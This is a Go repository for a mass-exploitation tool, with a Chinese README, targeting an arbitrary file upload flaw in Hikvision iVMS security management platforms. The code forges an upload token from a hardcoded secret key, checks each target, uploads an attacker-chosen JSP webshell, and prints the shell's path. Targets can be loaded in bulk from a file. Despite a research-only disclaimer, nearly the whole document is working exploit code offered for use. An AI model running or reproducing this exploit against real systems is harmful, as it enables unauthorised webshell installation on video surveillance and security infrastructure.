├── .gitignore ├── README.md ├── go.mod ├── go.sum ├── main.go └── modules ├── init.go ├── ivms.go ├── module.go └── utils.go /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | .git 3 | build.sh 4 | *.zip 5 | ivms_* 6 | *.txt 7 | *.jsp -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # **海康威视IVMS综合安防任意文件上传** 2 | 3 | 4 | 5 | **!!!!!注意:本工具仅用于研究使用,不可用于非法目的,使用该工具发起的任何攻击行为与本人无关!!!!!** 6 | 7 | ## 使用方法 8 | 9 | 编译下载链接:[ivms_fucker](https://github.com/adeljck/ivms-file-upload/releases/tag/release) 10 | 11 | ```shell 12 | ./main -h 13 | -c check target vuln.(default) (default true) 14 | -e direct fuck targets. 15 | -f string 16 | targets you want fuck. 17 | -s string 18 | shell file you want upload. 19 | -t int 20 | request timeout default is 5 second. (default 5) 21 | -u string 22 | target you want fuck. 23 | ``` 24 | 25 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module ivms 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/go-resty/resty/v2 v2.7.0 // indirect 7 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb // indirect 8 | ) 9 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY= 2 | github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I= 3 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb h1:pirldcYWx7rx7kE5r+9WsOXPXK0+WH5+uZ7uPmJ44uM= 4 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 5 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 6 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 7 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 8 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 9 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 10 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "ivms/modules" 4 | 5 | func main() { 6 | modules.I.Run() 7 | } 8 | -------------------------------------------------------------------------------- /modules/init.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | import ( 4 | "flag" 5 | "log" 6 | "os" 7 | "sync" 8 | ) 9 | 10 | var ( 11 | I Ivms 12 | wg sync.WaitGroup 13 | ) 14 | 15 | func (I *Ivms) init() { 16 | flag.StringVar(&I.target, "u", "", "target you want fuck.") 17 | flag.StringVar(&I.targetFile, "f", "", "targets you want fuck.") 18 | flag.StringVar(&I.shellFile, "s", "", "shell file you want upload.") 19 | flag.IntVar(&I.timeout, "t", 5, "request timeout default is 5 second.") 20 | flag.BoolVar(&I.upload, "e", false, "direct fuck targets.") 21 | flag.BoolVar(&I.check, "c", true, "check target vuln.(default)") 22 | flag.Parse() 23 | I.vuln = false 24 | if I.target == "" && I.targetFile == "" { 25 | log.Fatalln("[*] just give single target with u parma or multi targets with parma f") 26 | } 27 | if I.target != "" && I.targetFile != "" { 28 | log.Fatalln("[*] just give single target with u parma or multi targets with parma f") 29 | } 30 | if I.targetFile != "" { 31 | I.loadTargetsFile() 32 | } 33 | if I.upload { 34 | if I.shellFile == "" { 35 | log.Fatalln("[*] pls specific a shell file if you want upload.") 36 | } else { 37 | if _, err := os.Stat(I.shellFile); err == nil { 38 | return 39 | } else if os.IsNotExist(err) { 40 | log.Fatalln("[*] shell file you give not exists.") 41 | } else { 42 | log.Fatalln("[*] shell file you give not exists.") 43 | } 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /modules/ivms.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "fmt" 7 | "github.com/go-resty/resty/v2" 8 | "net/http" 9 | "os" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | func (I *Ivms) checkVul() { 15 | headers := map[string]string{"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"} 16 | body := map[string]string{"service": I.target + "/home/index.action"} 17 | client := resty.New() 18 | client.SetHeaders(headers) 19 | client.SetBaseURL(I.target) 20 | client.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}) 21 | client.SetTimeout(time.Duration(I.timeout) * time.Second) 22 | resp, err := client.R().SetBody(body).Post("/eps/api/resourceOperations/upload?token=" + I.md5hash()) 23 | if err != nil { 24 | return 25 | } 26 | if resp.StatusCode() == http.StatusOK { 27 | I.vuln = true 28 | } 29 | } 30 | func (I *Ivms) uploadShell() { 31 | headers := map[string]string{"User-Agent": "MicroMessenger", "Upgrade-Insecure-Requests": "1", "Cache-Control": "no-cache"} 32 | client := resty.New() 33 | client.SetHeaders(headers) 34 | client.SetBaseURL(I.target) 35 | client.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}) 36 | client.SetTimeout(time.Duration(I.timeout) * time.Second) 37 | file, _ := os.ReadFile(I.shellFile) 38 | resp, err := client.R().SetFileReader("fileUploader", I.shellFile, bytes.NewReader(file)).Post("/eps/resourceOperations/upload.action") 39 | if err != nil { 40 | return 41 | } 42 | if strings.Contains(string(resp.Body()), "success") { 43 | if uuid := I.getUuid(resp.Body()); uuid != "" { 44 | I.shellPath = I.target + fmt.Sprintf("/eps/upload/%s.jsp\n", uuid) 45 | } 46 | } else { 47 | fmt.Printf("[-] target %s is secure\n", I.target) 48 | } 49 | } 50 | func (I *Ivms) Single() { 51 | I.parseTarget() 52 | I.checkVul() 53 | if I.vuln { 54 | fmt.Printf("[+] target %s may have vuln\n", I.target) 55 | } else { 56 | fmt.Printf("[-] target %s is secure\n", I.target) 57 | return 58 | } 59 | if I.upload { 60 | I.uploadShell() 61 | fmt.Printf("[+] shell path %s\n", I.shellPath) 62 | } 63 | } 64 | func (I *Ivms) Multi() { 65 | for _, v := range I.targets { 66 | wg.Add(1) 67 | func() { 68 | defer wg.Done() 69 | i := Ivms{target: v, shellFile: I.shellFile} 70 | i.parseTarget() 71 | i.checkVul() 72 | if i.vuln { 73 | fmt.Printf("[+] target %s may have vuln\n", i.target) 74 | if I.upload { 75 | i.uploadShell() 76 | fmt.Printf("[+] shell path %s\n", i.shellPath) 77 | } 78 | } else { 79 | fmt.Printf("[-] target %s is secure or have some problem\n", I.target) 80 | } 81 | }() 82 | } 83 | wg.Wait() 84 | } 85 | func (I *Ivms) Run() { 86 | I.init() 87 | if len(I.targets) != 0 { 88 | I.Multi() 89 | } else { 90 | I.Single() 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /modules/module.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | type Ivms struct { 4 | target string 5 | targetFile string 6 | targets []string 7 | upload bool 8 | check bool 9 | vuln bool 10 | shellPath string 11 | shellFile string 12 | timeout int 13 | } 14 | -------------------------------------------------------------------------------- /modules/utils.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | import ( 4 | "bufio" 5 | "crypto/md5" 6 | "encoding/hex" 7 | "fmt" 8 | "log" 9 | "net/url" 10 | "os" 11 | "regexp" 12 | "strings" 13 | ) 14 | 15 | func (I *Ivms) md5hash() string { 16 | data := make([]byte, 0) 17 | if strings.HasSuffix(I.target, "/") { 18 | data = []byte(I.target + "eps/api/resourceOperations/uploadsecretKeyIbuilding") 19 | } else { 20 | data = []byte(I.target + "/eps/api/resourceOperations/uploadsecretKeyIbuilding") 21 | } 22 | md5Ctx := md5.New() 23 | md5Ctx.Write(data) 24 | cipherStr := md5Ctx.Sum(nil) 25 | return hex.EncodeToString(cipherStr) 26 | } 27 | func (I *Ivms) loadTargetsFile() { 28 | file, err := os.OpenFile(I.targetFile, os.O_RDONLY, 0666) 29 | if err != nil { 30 | log.Fatal("[*] file error") 31 | } 32 | defer file.Close() 33 | scanner := bufio.NewScanner(file) 34 | for scanner.Scan() { 35 | ip := strings.TrimSpace(scanner.Text()) 36 | if len(ip) == 0 { 37 | continue 38 | } 39 | I.targets = append(I.targets, ip) 40 | } 41 | } 42 | func (I *Ivms) parseTarget() { 43 | u, err := url.Parse(I.target) 44 | if err != nil { 45 | log.Printf("[*] url %s error.", I.target) 46 | } 47 | I.target = fmt.Sprintf("%s://%s", u.Scheme, u.Host) 48 | } 49 | func (I Ivms) getUuid(resp []byte) string { 50 | regx, _ := regexp.Compile(`Uuid":".*?"`) 51 | result := regx.FindString(string(resp)) 52 | if result != "" { 53 | return strings.Split(result, "\"")[2] 54 | } 55 | return "" 56 | } 57 | --------------------------------------------------------------------------------